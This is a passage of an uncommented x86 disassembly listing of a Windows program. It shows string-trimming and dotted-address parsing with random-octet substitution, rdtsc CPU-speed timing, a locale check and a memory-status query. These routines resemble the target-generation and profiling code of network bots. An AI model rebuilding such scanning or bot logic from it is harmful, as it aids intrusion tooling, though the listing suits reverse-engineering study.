		mov	[ebp+var_C], eax
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_407C49
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_407C2C+31j
					; sub_407C2C:loc_407CCDj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407C49:				; CODE XREF: sub_407C2C+14j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C68
		cmp	[ebp+var_C], 0
		jz	short loc_407C5F
		jmp	short loc_407C42
; ---------------------------------------------------------------------------


loc_407C5F:				; CODE XREF: sub_407C2C+2Fj
		mov	[ebp+var_C], 1
		jmp	short loc_407C6C
; ---------------------------------------------------------------------------


loc_407C68:				; CODE XREF: sub_407C2C+29j
		and	[ebp+var_C], 0


loc_407C6C:				; CODE XREF: sub_407C2C+3Aj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407CCD
		cmp	[ebp+arg_8], 0
		jz	short loc_407CCB
		cmp	[ebp+var_8], 0
		jz	short loc_407CCB


loc_407C9C:				; CODE XREF: sub_407C2C:loc_407CC9j
		push	1
		pop	eax
		test	eax, eax
		jz	short loc_407CCB
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407CC7
		cmp	[ebp+var_8], 0
		jnz	short loc_407CC9


loc_407CC7:				; CODE XREF: sub_407C2C+93j
		jmp	short loc_407CCB
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_407C2C+99j
		jmp	short loc_407C9C
; ---------------------------------------------------------------------------


loc_407CCB:				; CODE XREF: sub_407C2C+68j
					; sub_407C2C+6Ej ...
		jmp	short locret_407CD2
; ---------------------------------------------------------------------------


loc_407CCD:				; CODE XREF: sub_407C2C+62j
		jmp	loc_407C42
; ---------------------------------------------------------------------------

locret_407CD2:				; CODE XREF: sub_407C2C:loc_407CCBj
		leave
		retn
sub_407C2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CD4	proc near		; CODE XREF: sub_407D42+5Fp
					; sub_407D42+79p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407CE5
; ---------------------------------------------------------------------------


loc_407CDE:				; CODE XREF: sub_407CD4+68j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407CE5:				; CODE XREF: sub_407CD4+8j
		cmp	[ebp+var_4], 4
		jge	short loc_407D3E
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jnz	short loc_407D0E
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D0E:				; CODE XREF: sub_407CD4+23j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407D2C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D2C:				; CODE XREF: sub_407CD4+45j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_407CDE
; ---------------------------------------------------------------------------


loc_407D3E:				; CODE XREF: sub_407CD4+15j
		xor	eax, eax

locret_407D40:				; CODE XREF: sub_407CD4+38j
					; sub_407CD4+56j
		leave
		retn
sub_407CD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D42	proc near		; CODE XREF: sub_407F3D+19p
					; sub_407F3D+3Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	2Eh
		push	[ebp+arg_0]
		call	sub_4078E6
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 3
		jle	short loc_407D63
		xor	eax, eax
		jmp	locret_407E0A
; ---------------------------------------------------------------------------


loc_407D63:				; CODE XREF: sub_407D42+18j
		mov	eax, [ebp+arg_10]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_407DE9
		cmp	[ebp+var_8], 1
		jz	short loc_407DCF
		cmp	[ebp+var_8], 2
		jz	short loc_407DB5
		cmp	[ebp+var_8], 3
		jz	short loc_407D9B
		jmp	short loc_407E08
; ---------------------------------------------------------------------------


loc_407D9B:				; CODE XREF: sub_407D42+55j
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DB5
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DB5:				; CODE XREF: sub_407D42+4Fj
					; sub_407D42+6Dj
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DCF
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DCF:				; CODE XREF: sub_407D42+49j
					; sub_407D42+87j
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DE9
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DE9:				; CODE XREF: sub_407D42+43j
					; sub_407D42+A1j
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407E03
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E03:				; CODE XREF: sub_407D42+BBj
		push	1
		pop	eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E08:				; CODE XREF: sub_407D42+57j
		xor	eax, eax

locret_407E0A:				; CODE XREF: sub_407D42+1Cj
					; sub_407D42+71j ...
		leave
		retn
sub_407D42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E0C	proc near		; CODE XREF: sub_407F3D+A3p
					; sub_407F3D+C1p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 72h
		jnz	short loc_407E4A
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_407E4A
		push	0Ah
		push	[ebp+arg_C]
		push	0FFh
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407E4A:				; CODE XREF: sub_407E0C+Dj
					; sub_407E0C+18j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 73h
		jz	short loc_407E64
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	loc_407EF9


loc_407E64:				; CODE XREF: sub_407E0C+47j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	loc_407EF9
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407EB3
		cmp	[ebp+arg_10], 0
		jz	short loc_407EB3
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		movzx	eax, al
		inc	eax
		mov	[ebp+var_4], al
		push	0Ah
		push	[ebp+arg_C]
		movzx	eax, [ebp+var_4]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		movzx	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407EB3:				; CODE XREF: sub_407E0C+6Fj
					; sub_407E0C+75j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407ECC
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407ECC:				; CODE XREF: sub_407E0C+AFj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	short loc_407EE8
		push	offset dword_418F50
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407EE8:				; CODE XREF: sub_407E0C+C9j
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_407EF5:				; CODE XREF: sub_407E0C+BEj
					; sub_407E0C+DAj
		xor	eax, eax
		jmp	short locret_407F3B
; ---------------------------------------------------------------------------


loc_407EF9:				; CODE XREF: sub_407E0C+52j
					; sub_407E0C+61j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F12
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F12:				; CODE XREF: sub_407E0C+F5j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F2B
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F2B:				; CODE XREF: sub_407E0C+10Ej
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_407F38:				; CODE XREF: sub_407E0C+104j
					; sub_407E0C+11Dj
		mov	eax, [ebp+arg_10]

locret_407F3B:				; CODE XREF: sub_407E0C+39j
					; sub_407E0C+A2j ...
		leave
		retn
sub_407E0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F3D	proc near		; CODE XREF: sub_41349C+192p
					; sub_41349C+3DAp

var_44		= byte ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F69
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F69:				; CODE XREF: sub_407F3D+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F8F
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F8F:				; CODE XREF: sub_407F3D+49j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_41EF48
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407FB7
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FB7:				; CODE XREF: sub_407F3D+71j
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_407FC6
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FC6:				; CODE XREF: sub_407F3D+80j
		mov	[ebp+var_18], 1
		push	[ebp+var_18]
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_8]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_408068:				; CODE XREF: sub_407F3D+27j
					; sub_407F3D+4Dj ...
		leave
		retn
sub_407F3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40806A	proc near		; CODE XREF: sub_41349C+12Ap

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_408096
		xor	eax, eax
		jmp	locret_40813A
; ---------------------------------------------------------------------------


loc_408096:				; CODE XREF: sub_40806A+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41EF48
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4080BB
		xor	eax, eax
		jmp	short locret_40813A
; ---------------------------------------------------------------------------


loc_4080BB:				; CODE XREF: sub_40806A+4Bj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_4080D2
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_4080D2:				; CODE XREF: sub_40806A+57j
		movsx	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_4080E9
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_4080E9:				; CODE XREF: sub_40806A+6Ej
		movsx	eax, [ebp+var_20]
		test	eax, eax
		jnz	short loc_408100
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_408100:				; CODE XREF: sub_40806A+85j
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jnz	short loc_408117
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_408117:				; CODE XREF: sub_40806A+9Cj
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_40813A:				; CODE XREF: sub_40806A+27j
					; sub_40806A+4Fj
		leave
		retn
sub_40806A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40813C	proc near		; CODE XREF: sub_407928+54p
					; sub_407928+9Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_408150
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx


loc_408150:				; CODE XREF: sub_40813C+Aj
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		jmp	short loc_408161
; ---------------------------------------------------------------------------


loc_40815A:				; CODE XREF: sub_40813C:loc_4081A0j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408161:				; CODE XREF: sub_40813C+1Cj
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081A2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_408171:				; CODE XREF: sub_40813C+56j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_408171
; ---------------------------------------------------------------------------


loc_408194:				; CODE XREF: sub_40813C+3Dj
					; sub_40813C+4Dj
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081A0
		jmp	short loc_4081A2
; ---------------------------------------------------------------------------


loc_4081A0:				; CODE XREF: sub_40813C+60j
		jmp	short loc_40815A
; ---------------------------------------------------------------------------


loc_4081A2:				; CODE XREF: sub_40813C+2Dj
					; sub_40813C+62j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_4081AE:				; CODE XREF: sub_40813C:loc_4081F5j
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081F7
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_4081D7
		mov	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_4081F7
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_40813C+8Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081F5
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_4081F5:				; CODE XREF: sub_40813C+AAj
		jmp	short loc_4081AE
; ---------------------------------------------------------------------------


loc_4081F7:				; CODE XREF: sub_40813C+7Aj
					; sub_40813C+99j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_C]
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		leave
		retn
sub_40813C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40820E	proc near		; CODE XREF: sub_40821B:loc_408221p
					; sub_40821B+1Cp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		rdtsc
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40820E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40821B	proc near		; CODE XREF: sub_4083AD+3A4p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h


loc_408221:				; CODE XREF: sub_40821B+4Aj
					; sub_40821B+55j
		call	sub_40820E
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], edx
		push	3E8h
		call	dword_41709C	; Sleep
		call	sub_40820E
		sub	eax, [ebp+var_20]
		sbb	edx, [ebp+var_1C]
		push	0
		push	186A0h
		push	edx
		push	eax
		call	sub_416C90
		push	0
		push	0Ah
		push	edx
		push	eax
		call	sub_416C90
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		ja	short loc_408221
		jb	short loc_408272
		cmp	[ebp+var_8], 0F4240h
		ja	short loc_408221


loc_408272:				; CODE XREF: sub_40821B+4Cj
		push	0
		push	64h
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416C10
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], 64h
		and	[ebp+var_C], 0
		cmp	[ebp+var_14], 0
		ja	short loc_4082AB
		jb	short loc_4082A0
		cmp	[ebp+var_18], 50h
		jnb	short loc_4082AB


loc_4082A0:				; CODE XREF: sub_40821B+7Dj
		mov	[ebp+var_10], 4Bh
		and	[ebp+var_C], 0


loc_4082AB:				; CODE XREF: sub_40821B+7Bj
					; sub_40821B+83j
		cmp	[ebp+var_14], 0
		ja	short loc_4082C4
		jb	short loc_4082B9
		cmp	[ebp+var_18], 47h
		jnb	short loc_4082C4


loc_4082B9:				; CODE XREF: sub_40821B+96j
		mov	[ebp+var_10], 42h
		and	[ebp+var_C], 0


loc_4082C4:				; CODE XREF: sub_40821B+94j
					; sub_40821B+9Cj
		cmp	[ebp+var_14], 0
		ja	short loc_4082DD
		jb	short loc_4082D2
		cmp	[ebp+var_18], 37h
		jnb	short loc_4082DD


loc_4082D2:				; CODE XREF: sub_40821B+AFj
		mov	[ebp+var_10], 32h
		and	[ebp+var_C], 0


loc_4082DD:				; CODE XREF: sub_40821B+ADj
					; sub_40821B+B5j
		cmp	[ebp+var_14], 0
		ja	short loc_4082F6
		jb	short loc_4082EB
		cmp	[ebp+var_18], 26h
		jnb	short loc_4082F6


loc_4082EB:				; CODE XREF: sub_40821B+C8j
		mov	[ebp+var_10], 21h
		and	[ebp+var_C], 0


loc_4082F6:				; CODE XREF: sub_40821B+C6j
					; sub_40821B+CEj
		cmp	[ebp+var_14], 0
		ja	short loc_40830F
		jb	short loc_408304
		cmp	[ebp+var_18], 1Eh
		jnb	short loc_40830F


loc_408304:				; CODE XREF: sub_40821B+E1j
		mov	[ebp+var_10], 19h
		and	[ebp+var_C], 0


loc_40830F:				; CODE XREF: sub_40821B+DFj
					; sub_40821B+E7j
		cmp	[ebp+var_14], 0
		ja	short loc_408325
		jb	short loc_40831D
		cmp	[ebp+var_18], 0Ah
		jnb	short loc_408325


loc_40831D:				; CODE XREF: sub_40821B+FAj
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408325:				; CODE XREF: sub_40821B+F8j
					; sub_40821B+100j
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_4]
		sbb	ecx, [ebp+var_14]
		add	eax, [ebp+var_10]
		adc	ecx, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40821B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408342	proc near		; CODE XREF: sub_40D043+156p
					; sub_40D871+30Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	400h
		call	dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		cmp	[ebp+var_4], 0
		jz	short loc_408381
		push	offset off_419100
		push	[ebp+arg_0]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4083A8


loc_408381:				; CODE XREF: sub_408342+2Aj
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	800h
		call	dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		mov	eax, [ebp+var_4]
		jmp	short locret_4083AB
; ---------------------------------------------------------------------------


loc_4083A8:				; CODE XREF: sub_408342+3Dj
		push	1
		pop	eax

locret_4083AB:				; CODE XREF: sub_408342+64j
		leave
		retn
sub_408342	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083AD	proc near		; DATA XREF: sub_4087C4+35o

var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_73C		= dword	ptr -73Ch
var_738		= dword	ptr -738h
var_734		= byte ptr -734h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_714		= dword	ptr -714h
var_710		= dword	ptr -710h
var_70C		= dword	ptr -70Ch
var_708		= byte ptr -708h
var_6F0		= dword	ptr -6F0h
var_6EC		= dword	ptr -6ECh
var_6E8		= dword	ptr -6E8h
var_6E4		= dword	ptr -6E4h
var_6E0		= byte ptr -6E0h
var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= byte ptr -6C8h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= dword	ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= byte ptr -50Ch
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_409		= byte ptr -409h
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 750h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_6CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_734]
		push	eax
		call	dword_4170C4	; GlobalMemoryStatus
		mov	eax, [ebp+var_72C]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_6F0], eax
